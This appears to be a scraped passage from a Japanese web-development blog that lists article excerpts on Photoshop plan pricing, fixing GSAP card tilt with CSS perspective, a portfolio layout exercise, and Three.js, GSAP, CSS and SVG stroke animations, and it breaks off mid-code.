円年間プランの月々払い。web版・モバイル版を含むCreative Cloud Pro通常 9,080 円 / 特別 4,539 円特別価格は最初の3か月。4か月目以降は通常価格 Photoshop単体プランには、Adobe Expressプレミアム、100 GBのクラウドストレージ、毎月25の生成クレジットが含まれると記載があります。Creative Cloud Proは20以上のアプリと毎月4000の生成クレジット。学生・教職員向けの割引表示も同ページに出ていますが、キャンペーンは頻繁に変わるため金額はその都度確認してください。 2026年9月11日 追記：上記の金額と生成クレジット数は2026年8月時点にAdobe公式から取得した値です。2026年9月11日にAdobe公式のPhotoshopプラン比較ページを再確認したところ、Photoshopプランは3,300円／月（税込）、生成クレジットは毎月250と表示されていました。一方でAdobeの生成クレジットFAQでは単体プランは25と記載されており、公式のページ同士で数値が割れています。契約前にAdobe公式とご自身のアカウント画面で最新の値を確認してください。 この生成クレジットが実際に何回分にあたるかは、使う機能によって大きく変わります。標準の生成塗りつぶしは1回1クレジットですが、動画のプレミアム機能は秒単位で消費します。詳しくは生成クレジットは何に何回使えるかで整理しています。 現在の金額と、いま出ている割引の有無はAdobe公式の製品ページで確認できます。 7日間の配分（1枚を書き出すところまで） 7日で「Photoshopを使えるようになる」のは無理ですが、「自分に必要かどうかを判断できる状態」には届きます。判断材料になるのは、機能を何個触ったかではなく、成果物が1つ完成したかどうかです。ここではSNS用バナー1枚を課題に置きます。 ### [GSAPでカードをマウス追従で傾ける｜傾かない原因はperspective](https://codequest.work/neumorphic-tilt-hover-animation/) GSAPでカードをマウスに追従させて傾けるとき、回転させる要素自身にperspectiveを書いても3Dには傾きません。perspectiveは指定した要素の子に対して遠近投影をかけるプロパティであり、その要素自身の回転には効かないためです。親要素に書くか、GSAPのtransformPerspectiveでtransformの中に直接入れる必要があります。 この記事が以前まで紹介していたコードが、まさにその状態でした。カードの四隅に1pxのマーカーを差し込んでホバー中の実座標を測ると、上辺の長さ÷下辺の長さ＝1.0000。台形にならず完全な平行四辺形のままで、GSAPは回転値を書き込んでいるのに画面上は奥行きゼロでした。JavaScriptのエラーは0件、コンソールの警告も0件です。壊れていないのに約束が果たされていないという、いちばん気づきにくい壊れ方をしていました。 この記事では、原因の切り分けと修正版のコードに加えて、自分の実装が本当に傾いているかをブラウザのコンソールで数値判定する手順まで書きます。合否ラインは単純で、上辺÷下辺が1.00から動かなければ傾いていない。掲載する数値はすべてChromiumでの実測値で、測定に使った条件も明記します。 結論：傾かない原因はperspectiveの置き場所 マウス連動のティルト（傾き）が効かないという相談は、ほぼ全部が同じ1点に集約されます。rotateXとrotateYは書けているのに、遠近投影の設定が要素の外側に用意されていないというものです。 MDNはperspectiveの値についてこう書いています（英語版・2026年8月2日取得）。 A <length> giving the distance from the user to the z=0 plane. It is used to apply a perspective transform to the children of the element. （訳：ユーザーからz=0平面までの距離を表す長さ。要素の子に遠近変形を適用するために使われる） 出典：MDN Web Docs「perspective」 つまり.card { perspective: 1000px; }と書いたとき、遠近感が付くのは.cardの中身であって、.card自身の回転ではありません。回転する要素に書いた瞬間、その指定は自分には効かなくなるのです。 GSAP公式ドキュメントも同じことを、実装者向けの言い方で書いています。 To get your elements to have a true 3D visual perspective applied, you must either set the perspective property of the parent element or set the special transformPerspective of the element itself （訳：要素に本当の3Dの遠近感を与えるには、親要素のperspectiveプロパティを設定するか、その要素自身に特殊なtransformPerspectiveを設定するかのどちらかが必要） 出典：GSAP Docs「CSSPlugin」 言葉だけだと納得しづらいので、JavaScriptを1文字も変えずにCSSのperspectiveの置き場所だけを差し替えて、四隅の実座標を測りました。カードの左上20%の位置にマウスを置いた瞬間の値です。 perspectiveの書き方上辺÷下辺左辺÷右辺結果どこにも書かない1.00001.0000傾かない回転する要素（.card）自身に書く1.00001.0000傾かない親要素（.grid）に書く0.97240.9800傾くGSAPのtransformPerspective0.97140.9793傾く 測定条件は、Playwright 1.62.1同梱のChromium・ビューポート1280×900・perspective 800px・傾きの最大角18度です。数値は環境で前後しますが、1.0000ちょうどか、そうでないかという差ははっきり出ます。上2行はGSAPがrotateY(-4.97deg) rotateX(4.97deg) scale(1.1, 1.1)というインラインスタイルを正しく書き込んだうえで、それでも比が1.0000です。回転値が入っているのに平行四辺形のままという状態が、この不具合の見分け方になります。 なぜ回転しているのに平面のままなのか W3CのCSS Transforms Module Level 2は、perspectiveの初期値noneについて「すべてのオブジェクトはキャンバス上で平らに見える」と定めています（2026年8月2日取得）。3D回転は行われているのですが、投影方法が正射影なので、奥に行った辺が短く描かれません。結果として、横方向にわずかに縮んだ長方形にしかならず、その縮みはscale: 1.1の拡大に打ち消されて目視できなくなります。 「動いているように見えるのに立体に見えない」という感想になるのはこのためです。エラーが出ないので、原因にたどり着くまでに時間を溶かしやすい種類の不具合と言えます。 親に書くかtransformPerspectiveか、どちらを選ぶか 実測ではどちらも同じくらい傾きます（0.9724と0.9714）。選び分けの基準は見た目ではなく、消失点を共有したいかどうかです。 親要素にperspectiveを書く：その親の下にある全カードが同じ消失点を共有する。カードを並べたグリッドでは、端のカードほど外向きに見えて自然になる。GSAP公式も「グループで共通の消失点を持たせたいなら親に書くのが通常はベスト」としている GSAPのtransformPerspectiveを使う：transform: perspective(800px) rotateX(...) と同じ意味で、その要素だけに効く。親のマークアップを触れない場合や、カードごとに独立した見え方にしたい場合に向く 本記事の完成コードは親要素に書く方式を採用します。カードが6枚並ぶレイアウトなので、消失点を共有したほうが破綻しないためです。なおperspectiveそのものの基礎、transform-style: preserve-3dとの役割分担、3D空間に要素を並べる考え方はCSSとJSで作る3Dカルーセルの実装で丁寧に扱っています。3Dが初めてなら先にそちらを読むと、この記事の話が最短で通ります。 マウス座標を回転角に変換する perspectiveが用意できたら、次はマウスの位置を角度に変換する計算です。ここがこの実装の中心で、行数としてはたった4行です。 中心を原点にして-0.5〜0.5に正規化する ポインタの座標はビューポート基準（clientX / clientY）で届きます。これをカード中心を原点とした相対値に直します。 const rect = card.getBoundingClientRect(); const x = e.clientX - rect.left - rect.width / 2; const y = e.clientY - rect.top - rect.height / 2; この時点でxは「カード中心から右にどれだけ離れているか（px）」です。これを幅で割ると左端で-0.5、中心で0、右端で0.5という無次元の値になります。あとは最大角を掛けるだけです。 const TILT = 18; const rotationY = (x / rect.width) * TILT; const rotationX = (y / rect.height) * -TILT; rotationXにマイナスが付くのは、Y軸（縦）方向は画面座標と回転の向きが逆になるためです。マウスがカードの下側にあるときyは正、そのとき手前に倒れてほしいので符号を反転させます。ここを間違えると「マウスと反対に傾く」という気持ち悪い挙動になります。動かして違和感があったら、まずこのマイナスを疑ってください。 最大角は定数で持つ（18度前後が扱いやすい） 最大角をベタ書きせずTILTという定数にしておくと、調整が1箇所で済みます。角度を変えたときに見え方がどう変わるかも実測しました（perspective 800px・カード左上20%にマウス）。 最大角上辺÷下辺印象8度0.9873言われないと分からない程度18度0.9724立体に見えて破綻しない30度0.9568端に寄せると歪みが強い この記事が以前まで載せていたコードは30度でした。数字だけ見ると「大きいほど立体的」ですが、カード端にマウスを置いたときの歪みが強く、画像の見え方が崩れます。8〜20度の範囲で、実際のカードサイズを見ながら決めるのが現実的です。カードが小さいほど、同じ角度でも歪みは目立ちません。 遠近の強さはperspectiveの距離で決まる もうひとつの調整ダイヤルがperspectiveの値です。これは視点からz=0平面までの距離なので、小さいほど被写体に近づき、遠近が強くなります。同じ18度で距離だけ変えた実測が次です。 perspectiveの値上辺÷下辺見え方400px0.9477強い。カードが小さいと歪んで見える800px0.9724本記事の採用値1600px0.9859穏やか。大きな要素向き GSAP公式は「よく使われる値はおおよそ200〜1000で、数字が小さいほど遠近の歪みが強い」と説明しています。実測もこの説明どおりの傾向でした。角度と距離の2つを同時に動かすと収拾がつかなくなるので、まず距離を800pxで固定し、角度だけを調整するのがおすすめです。 getBoundingClientRectを毎回呼ぶ理由 「矩形の座標は最初に1回取れば十分では」と思うところですが、ポインタが動くたびに取り直すのが正解です。理由は3つあります。 getBoundingClientRect()が返すのはビューポート基準の座標なので、ページをスクロールすると値が変わる。キャッシュすると、スクロール後に回転の中心がずれる ウィンドウ幅が変わるとグリッドの列数が変わり、カードの位置もサイズも変わる 取得する値はclientXと同じ座標系なので、そのまま引き算できる。座標系を揃える処理を書かずに済む なおgetBoundingClientRect()はtransformが適用された後の見た目の矩形を返します。カードが傾いて拡大している最中は、その拡大後の矩形が返るということです。角度計算にはわずかな揺れが乗りますが、ポインタ追従では体感できるレベルではありません。厳密に固定したい場合はpointerenter時点の矩形を保持し、スクロールとリサイズで更新する形にします。 ちなみに、同じ「カードを立体的に動かす」でも、クリックやタイマーを起点にしてカードをめくる・重ねる演出は設計がまったく別物になります。そちらはGSAPでカードをフリップ・スタックさせる実装にまとめています。スクロール量を起点にする場合はGSAPのスクロール連動アニメーションが対応する記事です。 完成コード（HTML・CSS・JavaScript） ここから先は、そのままコピーして1枚のHTMLに貼れば動く形で載せます。この記事に掲載する最終形を実際に結合してChromiumで実行し、上辺÷下辺が1.00から外れることを確認済みです（実測値は後述）。 GSAPの読み込み </body>の直前、または<head>内に置きます。バージョンは2026年8月2日時点の最新である3.15.0です。 ### [模写中級 #004 | Bootstrapでポートフォリオ](https://codequest.work/intermediate004/) 1. はじめに Web制作を学ぶ際に 模写練習 は非常に効果的な方法です。特に Bootstrap を活用すれば、効率よくレスポンシブなデザインを実装できます。本記事では、Bootstrapを使ってシンプルな ポートフォリオサイト を模写しながら、基本的なレイアウトやデザインのコツを解説します。 Bootstrap公式 2. Bootstrapとは？ Bootstrap は、Twitter社が開発した CSSフレームワーク で、レスポンシブデザインを簡単に実装できるのが特徴です。主なメリットは以下の通りです。 ✅ レスポンシブ対応が簡単✅ 豊富なコンポーネント（ナビゲーションバー、ボタン、フォーム など）✅ グリッドシステムによるレイアウト調整✅ デザインが統一される これらの特徴を活かしながら、ポートフォリオサイトの模写練習を進めていきましょう。 3. 今回模写するポートフォリオサイトの構成 今回は シンプルでクールなポートフォリオサイト を模写します。以下のような構成です。 ナビゲーションバー（ハンバーガーメニュー対応） ヒーローセクション（背景画像 or 動画 + キャッチコピー） ポートフォリオギャラリー（グリッドレイアウト） お問い合わせフォーム フッター（コピーライト表示） 4. コードを見ながら模写練習 4.1. 基本のHTML構造 まずは、BootstrapをCDNで読み込み、基本のHTMLを用意します。 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ポートフォリオ模写</title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="bg-gray-900 text-white"> ここでは Tailwind CSS も活用しながら、デザインを整えていきます。 4.2. ナビゲーションバーの実装 <nav class="p-4 bg-gray-800 flex justify-between items-center relative z-50"> <h1 class="text-xl font-bold">My Portfolio</h1> <button id="menu-toggle" class="block md:hidden text-white focus:outline-none"> <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16m-7 6h7"></path> </svg> </button> </nav> 🔹 ポイント flex を使ってロゴとメニューを横並びに z-50 を設定し、他の要素の上に表示 4.3. ヒーローセクションの実装 <header class="relative h-screen flex flex-col justify-center items-center text-center"> <img src="https://picsum.photos/1600/900" alt="Hero Background" class="absolute inset-0 w-full h-full object-cover"> <div class="relative z-10 bg-black bg-opacity-50 p-8 rounded-lg"> <h2 class="text-4xl font-extrabold">Welcome to My Portfolio</h2> <p class="text-gray-400 mt-4">Creating beautiful and functional web experiences.</p> </div> </header> 🔹 ポイント relative を活用し、背景画像を absolute で配置 bg-opacity-50 を指定してテキストを読みやすく 4.4. ポートフォリオギャラリーの実装 <section id="work" class="py-20 px-10"> <h3 class="text-3xl font-bold text-center mb-10">My Work</h3> <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6"> <div class="bg-gray-800 p-4 rounded-lg">Project 1</div> <div class="bg-gray-800 p-4 rounded-lg">Project 2</div> <div class="bg-gray-800 p-4 rounded-lg">Project 3</div> </div> </section> 🔹 ポイント grid を使い、レスポンシブなカラムレイアウト を実現 4.5. お問い合わせフォームの実装 <section id="contact" class="py-20 px-10 bg-gray-800"> <h3 class="text-3xl font-bold text-center mb-10">Contact Me</h3> <form class="max-w-lg mx-auto"> <input type="text" placeholder="Your Name" class="w-full p-3 mb-4 rounded bg-gray-700 border-none"> <input type="email" placeholder="Your Email" class="w-full p-3 mb-4 rounded bg-gray-700 border-none"> <textarea placeholder="Your Message" class="w-full p-3 mb-4 rounded bg-gray-700 border-none"></textarea> <button class="bg-blue-500 px-6 py-2 rounded hover:bg-blue-600">Send</button> </form> </section> 🔹 ポイント フォームの幅を max-w-lg で調整し、中央寄せ 4.6 フッターの実装 <footer class="text-center p-4 bg-gray-800 mt-10"> <p>© 2025 My Portfolio. All rights reserved.</p> </footer> </body> </html> text-center：テキストを中央揃え p-4：パディング（上下左右に余白） bg-gray-800：背景色を暗めのグレーに設定 mt-10：上部のマージンを追加し、セクションとの間隔を確保 5. まとめ：模写練習のポイント 模写練習を行う際の ポイント をまとめます。 ✅ レイアウトの構造を把握する（HTMLを先に考える）✅ CSSのクラスを適用しながらデザイン調整✅ レスポンシブ対応を意識する（BootstrapやTailwindの grid や flex を活用）✅ デザインとコードを照らし合わせながら仕上げる デモサイト 6. おわりに Bootstrapを使ったポートフォリオサイトの模写練習を通じて、実践的なWeb制作スキルを磨くことができます。さらに、模写したコードをカスタマイズし、自分だけのデザインにアレンジすることで、スキルアップが可能です。 ぜひ今回のコードを参考にしながら、自分なりのポートフォリオサイトを作ってみてください！ よくある質問（FAQ） Q. Bootstrapとは何ですか？ BootstrapはTwitter社が開発したCSSフレームワークで、グリッドシステム・ボタン・ナビゲーション・フォーム・モーダルなどのUIコンポーネントが事前に用意されています。CDNからCSS・JSを読み込み、HTMLにクラス名を追加するだけでレスポンシブ対応のレイアウトが構築できます。現在の最新バージョンはBootstrap 5で、jQueryへの依存がなくなりました。 Q. Bootstrapのグリッドシステムの使い方は？ containerクラスで全体を囲み、rowクラスで行を作成、col-*クラスで12分割のカラム幅を指定します。例えばcol-md-6で中画面以上で50%幅（6/12）になります。col-sm-12 col-md-6 col-lg-4のようにブレイクポイント別のクラスを組み合わせることで、画面サイズに応じたレスポンシブレイアウトが自動的に構築されます。 ### [Three.js×GSAPで作る画面トランジションアニメーション](https://codequest.work/vortexspin-animation/) VortexSpinアニメーション：幻想的な回転効果でウェブデザインを強化 ウェブデザインにおいて、ユーザーの注意を引くためには視覚的なエフェクトが非常に重要です。その中でも、回転や渦巻きの動きは強力な視覚的インパクトを与える要素として広く使用されています。「VortexSpinアニメーション」は、まさにそのような効果を利用して、ウェブページに動的なエネルギーを加える技術です。 このアニメーションは、サイトに動きや生命感を与え、訪問者が視覚的に引き込まれるようなインタラクションを提供します。VortexSpinは、回転する渦巻きの形状を模倣し、その回転に合わせてコンテンツが動くようなアニメーション効果を実現します。 VortexSpinアニメーションとは？ 「VortexSpin」とは、回転する渦を模したアニメーションの一形態で、ウェブページ内でコンテンツを動的に表示するために利用されます。通常、このアニメーションは、要素やコンテンツが円形に回転しながら視覚的に収束または拡散するエフェクトを提供します。このような効果は、特にインタラクティブな要素やインフォグラフィック、スクロールアニメーションなどで非常に魅力的に作用します。 回転を伴うアニメーションは、視覚的に強い印象を与え、ユーザーに対して動きや変化を感じさせます。VortexSpinアニメーションでは、サイト全体に流動的で動的な印象を与えるために、各要素を回転させたり、ズームイン/アウトしたりします。これにより、サイト全体が生き生きとした動きを持ち、ユーザーがアクションを起こしたくなるような動機付けを与えます。 VortexSpinの用途と利点 ユーザーインタラクションの促進 VortexSpinアニメーションは、特にユーザーがサイト内のボタンやリンクをクリックしたり、スクロールしたりしたときに動作します。このアニメーションを適用することで、視覚的なフィードバックが得られ、ユーザーはコンテンツとのインタラクションをより一層楽しむことができます。 視覚的なインパクト 回転する渦のような効果は、シンプルでありながらも非常にインパクトのあるアニメーションです。これにより、サイト訪問者はその効果を見逃すことなく、コンテンツに注目するようになります。この効果は、特にキャンペーンページや製品紹介ページなど、視覚的に目を引く必要があるページに有効です。 動的なコンテンツの強調 VortexSpinアニメーションは、特にウェブサイトの重要な要素や情報を強調するのに適しています。例えば、新しい製品情報や特集コンテンツを紹介する際に、回転するエフェクトを使用することで、目立たせたい部分を効果的に強調できます。回転効果により、ユーザーの視線が自然と特定の場所に誘導されます。 クリーンでシンプルなデザインへの統合 VortexSpinのアニメーションは、比較的シンプルなデザインの中にも美しい動きを加えることができ、過度に複雑なエフェクトに頼らずに魅力的なデザインを実現します。回転効果をシンプルに取り入れることで、全体のデザインに統一感を保ちながらも、動的でエネルギッシュな雰囲気を作り出すことができます。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. VortexSpinを適用する方法 VortexSpinアニメーションをサイトに適用する方法は、主にCSSやJavaScript、またはThree.jsなどのライブラリを使用して実装されます。 VortexSpinアニメーションの詳細 VortexSpinアニメーションは、Three.js と GSAP のライブラリを活用して、回転する渦のような視覚的効果を作り出すものです。主に3Dコンテンツの描画とアニメーションを担当する Three.js を使用し、アニメーションの進行やインタラクションのタイミングを GSAP で管理しています。 使用されている主なライブラリ: Three.js: Three.js は、WebGLを使用した3D描画のライブラリで、シーン作成、カメラ設定、ライト、オブジェクトなどの3Dレンダリングの機能を提供します。コード内では、THREE.WebGLRenderer() や THREE.OrthographicCamera() などが使用されており、シーンをレンダリングし、3Dオブジェクトを表示しています。 GSAP (GreenSock Animation Platform): GSAP は、Webアニメーションを簡単に作成するためのライブラリで、タイムラインやアニメーションの進行を管理します。コード内で使われている gsap.to() や gsap.from() などのメソッドにより、アニメーションの進行やスムーズなトランジションが実現されています。特に、時間の経過に応じてノイズや波紋エフェクトが動的に変化する部分で活用されています。 アニメーションの特徴: VortexSpin アニメーションは、回転する渦のような動きを3Dオブジェクトに適用し、ユーザーがサイトを訪れた際に視覚的に魅力的な動きを提供します。 アニメーションの中では、テクスチャや色が回転し、ノイズや波紋のエフェクトが連動して動きます。 GSAP を用いることで、アニメーションが滑らかに動き、時間を制御してフェードイン・フェードアウトなども実現しています。 VortexSpinアニメーションの効果的な使用例 ボタンやリンクのインタラクション ボタンやリンクにVortexSpinアニメーションを加えることで、クリックやホバー時にアニメーションが発動し、ユーザーの注目を引くことができます。特に、アクションを促すボタンにこのような効果を加えることで、クリック率を向上させることができます。 インタラクティブなバナーや広告 サイトのバナーや広告にVortexSpinアニメーションを使用することで、視覚的に魅力的で動的な要素を作り、ユーザーが興味を持つように仕向けることができます。 スクロールエフェクト ユーザーがページをスクロールする際に、コンテンツがVortexSpinアニメーションを使用して回転しながら登場するように設定することで、動的で魅力的な体験を提供できます。 まとめ VortexSpinアニメーションは、シンプルでありながら強力な視覚効果を提供するツールです。ウェブサイトに動的な要素を追加し、ユーザーの注意を引きつけ、インタラクションを促進します。回転する渦のようなエフェクトは、視覚的に印象的で、ウェブデザインにエネルギーと動きを加えることができます。適切な使用によって、サイト全体の魅力を高めるだけでなく、ユーザーの体験を向上させることができるため、ぜひ取り入れてみてください。 ライブラリを使わず、CSSだけで画面の切り替え演出を入れたい場合は、ページ遷移アニメーションをコピペで使える無料ツールが使えます。カーテンやフェードなどの演出を再生しながら選び、タイミング調整済みのコードをコピーできます。 よくある質問（FAQ） Q. Three.jsとGSAPを組み合わせるメリットは？ Three.jsは3D描画エンジン、GSAPはアニメーション制御ライブラリで、組み合わせることでThree.jsのカメラ・オブジェクト・マテリアルの値をGSAPのイージングやタイムラインで滑らかに制御できます。GSAPのease関数で物理的に自然な動きを簡単に実現でき、ScrollTriggerと連携すればスクロール連動の3Dアニメーションも作成できます。 Q. Three.jsの学習を始めるには何が必要ですか？ JavaScriptの基礎知識（変数・関数・オブジェクト・配列操作）があれば始められます。Three.jsの基本概念はScene（シーン）・Camera（カメラ）・Renderer（レンダラー）・Mesh（メッシュ）の4つで、この構造を理解すれば簡単な3Dオブジェクトの表示ができるようになります。公式ドキュメントとサンプルコードが充実しているため、独学でも学習を進めやすいライブラリです。 ### [CSSで作る波アニメーション｜ラインが波打つウェーブ表現の実装](https://codequest.work/flipwave-animation-gsap/) Webサイトのビジュアルエフェクトとして、画像の切り替えアニメーションはとても重要です。本記事では 「FlipWave」 というタイル状に分割された画像がめくれながら切り替わるアニメーションを GSAP（GreenSock Animation Platform）を使って実装する方法を紹介します。 このFlipWaveアニメーションを利用すると、動的でインタラクティブなコンテンツを作成でき、ユーザーの目を引くエフェクトとして活用できます。CSSとJavaScriptを組み合わせた実装方法を詳しく解説していきます。 FlipWaveアニメーションとは？ FlipWaveアニメーションは、画像を 8×8のタイル状 に分割し、それぞれのタイルが順番に「めくれる」ようにアニメーションするエフェクトです。 このアニメーションの特徴： タイルが順番にめくれて画像が切り替わるGSAP（GreenSock Animation Platform）を利用滑らかで自然なエフェクト このようなエフェクトは、Webサイトのヒーローセクションやギャラリーに最適です。 必要なライブラリ 今回のFlipWaveアニメーションを作成するには、GSAPライブラリを使用します。 GSAPは強力なアニメーションライブラリであり、CSSでは難しいタイミング調整や連続アニメーションの制御も可能です。 FlipWave See the Pen FlipWave by masakazuimai (@masakazuimai) on CodePen. カスタマイズのポイント 画像を8×8のタイルに分割 grid-template-columns: repeat(8, 1fr); grid-template-rows: repeat(8, 1fr); GSAPを使用してタイルを順番にめくる rotateY: 90 → rotateY: 0 で回転アニメーション stagger を使い、順番にめくれるように調整 画像の切り替え setInterval で6秒ごとに画像が変更される まとめ 今回は FlipWaveアニメーション の実装方法を解説しました。 このエフェクトを使うことで、魅力的な画像トランジション を作ることができます。GSAPを活用することで、シンプルなコードで高度なアニメーション を実現可能です。 このFlipWaveをカスタマイズして、背景画像やコンテンツのトランジション に活用してみてください！ よくある質問（FAQ） Q. FlipWaveアニメーションとは何ですか？ 複数の要素が波打つように連鎖的にフリップ（回転）するアニメーション技法です。各要素にanimation-delayを段階的に設定し、rotateXまたはrotateYで回転させることで、波のように順番に裏返る動きを表現します。GSAPのstaggerプロパティを使うと、delay計算を自動化でき実装が簡潔になります。 Q. GSAPのstaggerプロパティの使い方は？ gsap.to()やgsap.from()のオプションにstagger: 0.1のように秒数を指定すると、対象要素群に自動的に遅延が設定されます。stagger: {each: 0.1, from: "center"}のようにオブジェクト形式で指定すれば、中央から外側に向かって順番にアニメーションするなど、開始位置の制御も可能です。 ### [CSSだけで作る縦ラインのフェードアニメーション｜ローディング演出](https://codequest.work/falling-line-css-animation/) CSSでアニメーションを作成すると、サイトにダイナミックな見せ方を加えることができます。今回は「fallingLine」という名前でアニメーションを実装します。このアニメーションは、線が画面の中央から下方に滑り落ちながらフェードアウトする動きです。 fallingLineの動きの概要 「fallingLine」の動きは以下のフローで実現します。 初期は画面の上方に展開されない状態で始まる。 画面の中央にラインが出現し、横に薄い線が現れる。 下方に滑り落ちて、最後にフェードアウトする。 See the Pen fallingLine by masakazuimai (@masakazuimai) on CodePen. fallingLineのポイント 1. 擬似要素 (::after) の活用 擬似要素を使用することで、HTML構造を無駄に増やさず、デザインのみの要素としてラインを実装しています。 .scroll::after で独立したラインを作成するため、汎用性が高く、他の要素に影響を与えにくいのが特徴です。 実装例のビジュアルイメージ fallingLineは下方に滑り落ちていくモーションを発生させるコンテンツです。ラインのフェード効果で動きにメリハリを持たせることができます。これは、モダンデザインやイントロアニメーションに最適な動きです。 おわりに fallingLineは簡単なCSSで実装可能なアニメーションです。このアニメーションはサイトのデザインを倍増させるだけでなく、視観者の気を引きつける力があります。 あなたのプロジェクトにも是非試してみてください。 ローディング向けの演出をまとめて比較したい場合は、ページ遷移アニメーションをコピペで使える無料ツールが便利です。ラインやバーのほか、幕が開くカーテン演出まで実際に再生して選べます。 よくある質問（FAQ） Q. CSSだけでローディングアニメーションを作る方法は？ @keyframesとanimationプロパティを使い、要素のopacity・transform・heightなどを時間経過で変化させます。複数の要素にanimation-delayを設定して順番に動かすことで、ウェーブやカスケードのようなローディング表現が可能です。パフォーマンスの観点から、transformとopacityのみをアニメーション対象にするのがベストプラクティスです。 Q. フェードラインアニメーションをスクロールに連動させるには？ Intersection Observer APIを使い、要素がビューポートに入ったタイミングでアニメーション用のCSSクラスを付与します。CSSのanimation-play-stateをpausedに初期設定し、クラス付与時にrunningに切り替える方法が軽量でパフォーマンスも良好です。より高度な制御にはGSAPのScrollTriggerプラグインが適しています。 ### [SVGストロークで作るカウントダウンアニメーション｜実装ガイド](https://codequest.work/svg-stroke-carousel-countdown/) はじめに SVGストロークアニメーションを活用して、視覚的なインパクトを与えるカルーセルカウントダウンを実装してみませんか？この方法を使用すると、ユーザーはスライドの切り替えタイミングを直感的に理解でき、サイトのデザインにも動きを加えることができます。 この記事では、SVGを使ったストロークアニメーションと、jQueryを用いたカウントダウンの実装について詳しく解説します。完成したコードはこちらのCodePenで確認できます。以下では、実装の詳細やカスタマイズのポイントについてお話します。 SVGストロークアニメーションとは？ SVGストロークアニメーションは、SVG（Scalable Vector Graphics）の「線」を利用してアニメーション効果を作り出す技術です。このアニメーションでは、線が描画されていくようなエフェクトを実現するために、stroke-dasharrayとstroke-dashoffsetというCSSプロパティを使用します。 例えば、以下の動作を想像してください： 円形の線が徐々に描かれ、完成する。 カウントダウンがその線の内側に表示される。 これが、今回紹介するアニメーションの核心部分です。 カルーセル用カウントダウンの仕組み 今回紹介するカウントダウンでは以下の仕組みを実現します： SVGストロークアニメーションSVGのstroke-dasharrayとstroke-dashoffsetを活用して、線が描かれるようなアニメーションを実現します。 カウントダウン表示SVG中央に数字を表示し、1秒ごとに数字が減少します。 ループ動作カウントが終了すると自動的に次のサイクルが開始されます。 See the Pen Countdown-stroke by masakazuimai (@masakazuimai) on CodePen. どんな場面で使える？ このようなアニメーションは以下のようなシーンで活用できます： カルーセルスライダースライドの切り替えまでの残り時間を視覚的に表示。 ローディング画面コンテンツ読み込み中のインジケーターとして使用。 タイマー付きインタラクションユーザー操作が必要な要素に対するタイミング表示。 カスタマイズのポイント カウントダウン時間 デフォルトは5秒に設定されていますが、countの値を変更すれば簡単に調整可能です。 ストロークの色 CSSのstrokeプロパティで色を変更できます。複数の色をアニメーションさせたい場合は、CSSアニメーションを併用することも可能です。 フォントサイズ .countdownのfont-sizeプロパティを変更して、数字の大きさを調整できます。 まとめ SVGストロークアニメーションを使用したカウントダウンは、軽量でインタラクティブな要素をWebページに追加するのに最適です。カルーセルスライダーやローディング画面など、多くの場面で活用できます。 もしこの記事が役に立ったら、コメントで感想をお聞かせください！他にもこんなアニメーションが知りたいというリクエストもお待ちしています。 よくある質問（FAQ） Q. SVGストロークアニメーションとは何ですか？ SVGのstroke-dasharrayとstroke-dashoffsetプロパティをアニメーションさせることで、線が描かれていくような動きを表現する技法です。パスの全長をgetTotalLength()で取得し、dashoffsetを全長から0に変化させると「描画アニメーション」、0から全長に変化させると「消去アニメーション」になります。 Q. SVGカウントダウンアニメーションの作り方は？ SVGのcircle要素でリング状のパスを作成し、stroke-dashoffsetをJavaScriptのsetIntervalで時間経過に応じて変化させます。残り時間のテキストはSVGのtext要素またはHTML要素で中央に配置します。CSS transitionでstroke-dashoffsetの変化を滑らかにすることで、視覚的に美しいカウントダウンUIが実現できます。 ### [SVGストロークアニメーションの作り方｜線画演出をCSSとJavaScriptで実装](https://codequest.work/svg-stroke-animation/) はじめに Webデザインにおいて、視覚的なインパクトを与えるアニメーションは非常に効果的です。その中でもSVGを使用したストロークアニメーションは、軽量でスムーズな動きが特徴で、ユーザー体験を向上させることができます。本記事では、SVGのストロークアニメーションをCSSだけで作る方法とJavaScriptでパス長を正確に取得する方法を、そのままコピーして動くコード付きで解説します。 ストロークアニメーションとは？ SVGストロークアニメーションとは、stroke-dasharray と stroke-dashoffset の2つのプロパティを使い、線が手で描かれていくように見せるSVGの演出技法です。パスを「破線」として扱い、その破線をずらして隠した状態から元に戻すことで、線が徐々に現れるエフェクトを作ります。CSSだけでも、JavaScriptでパスの全長を取得しても実装できます。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 仕組み：stroke-dasharray と stroke-dashoffset 仕組みはシンプルです。まず stroke-dasharray にパスの全長以上の値を指定して、線全体を「1本の長い破線」として扱います。次に同じ値を stroke-dashoffset に入れると、破線が丸ごとずれて線が消えた状態になります。あとはこのオフセットを 0 に向けてアニメーションさせれば、線が描かれていくように見えます。 .path { stroke-dasharray: 1000; /* 線全体を1本の長い破線として扱う */ stroke-dashoffset: 1000; /* 破線を全部ずらして“消した”状態にする */ animation: draw 3s ease forwards; } @keyframes draw { to { stroke-dashoffset: 0; } /* 0に戻す＝線が描かれていく */ } CSSのみで実装する場合に必要な「パスの全長」は、ブラウザの開発者ツールのコンソールで次の1行を実行するとすぐ確認できます。ここで得た値を stroke-dasharray に使えば、無駄な概算を避けられます。 // DevToolsのコンソールで実行するとパスの全長が分かる document.querySelector('.draw-path').getTotalLength(); 関係するプロパティを整理すると次のとおりです。 プロパティ役割stroke-dasharray線を破線パターンにする。全長以上の1値を指定して「まだ描かれていない」状態を作るstroke-dashoffset破線の開始位置をずらす。全長→0でアニメーションさせると「描かれていく」動きになるstroke-linecap線の端の形状を決める（butt / round / square）vector-effect: non-scaling-stroke拡大縮小しても線幅を一定に保つ（レスポンシブで有効） CSSだけで実装する（コピペ可） もっとも手軽なのはCSSだけで完結させる方法です。SVGのパスにクラスを付け、stroke-dasharray と stroke-dashoffset にパスの全長以上の固定値を入れてアニメーションさせます。まずはHTML（SVG）です。 <svg viewBox="0 0 200 100" width="200" height="100"> <path d="M10 50 Q 60 10, 110 50 T 190 50" fill="none" stroke="#4f46e5" stroke-width="4" stroke-linecap="round" class="draw-path" /> </svg> 続いてCSSです。このまま貼り付ければ、ページ読み込み時に線が描かれます。 .draw-path { stroke-dasharray: 300; /* 